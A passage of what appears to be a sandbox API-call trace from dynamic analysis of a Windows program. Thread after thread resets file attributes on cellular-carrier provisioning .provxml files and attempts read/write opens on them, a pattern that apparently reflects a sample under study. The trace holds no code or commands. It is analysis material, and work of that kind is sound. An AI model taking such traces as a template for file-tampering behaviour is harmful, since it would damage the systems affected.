BaseAddress=0x2fa9e60) returned 1 [0179.484] RtlExitUserThread (Status=0x0) Thread: id = 2881 os_tid = 0x1014 [0179.485] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.486] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.486] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.487] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02460) returned 1 [0179.487] RtlExitUserThread (Status=0x0) Thread: id = 2882 os_tid = 0xd24 [0179.488] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.488] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.488] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.488] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1da8) returned 1 [0179.488] RtlExitUserThread (Status=0x0) Thread: id = 2883 os_tid = 0x1a0 [0179.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.493] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.494] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe21b0) returned 1 [0179.494] RtlExitUserThread (Status=0x0) Thread: id = 2884 os_tid = 0xe88 [0179.495] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3370) returned 1 [0179.496] RtlExitUserThread (Status=0x0) Thread: id = 2885 os_tid = 0xe90 [0179.497] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.497] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\314__connections_cellular_mobilink gsm (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1440) returned 1 [0179.497] RtlExitUserThread (Status=0x0) Thread: id = 2886 os_tid = 0xe94 [0179.498] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.499] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.499] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe29c0) returned 1 [0179.499] RtlExitUserThread (Status=0x0) Thread: id = 2887 os_tid = 0xe98 [0179.500] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1f00) returned 1 [0179.501] RtlExitUserThread (Status=0x0) Thread: id = 2888 os_tid = 0xe9c [0179.502] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\317__connections_cellular_ufone (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2058) returned 1 [0179.502] RtlExitUserThread (Status=0x0) Thread: id = 2889 os_tid = 0xf00 [0179.513] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.514] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\318__connections_cellular_warid telecom (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa568) returned 1 [0179.514] RtlExitUserThread (Status=0x0) Thread: id = 2890 os_tid = 0xf04 [0179.515] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\319__connections_cellular_aljawwal (palestinian authority)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d450) returned 1 [0179.516] RtlExitUserThread (Status=0x0) Thread: id = 2891 os_tid = 0xf08 [0179.517] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.517] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.517] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0179.517] RtlExitUserThread (Status=0x0) Thread: id = 2892 os_tid = 0xf0c [0179.519] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9fc8) returned 1 [0179.519] RtlExitUserThread (Status=0x0) Thread: id = 2893 os_tid = 0xf10 [0179.520] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.521] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02fe8) returned 1 [0179.522] RtlExitUserThread (Status=0x0) Thread: id = 2894 os_tid = 0xf14 [0179.523] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe16f0) returned 1 [0179.523] RtlExitUserThread (Status=0x0) Thread: id = 2895 os_tid = 0xf18 [0179.524] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.525] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.525] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1848) returned 1 [0179.525] RtlExitUserThread (Status=0x0) Thread: id = 2896 os_tid = 0xf1c [0179.526] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.526] SetFileAttributesW (lpFileName="C:\\Users\\All 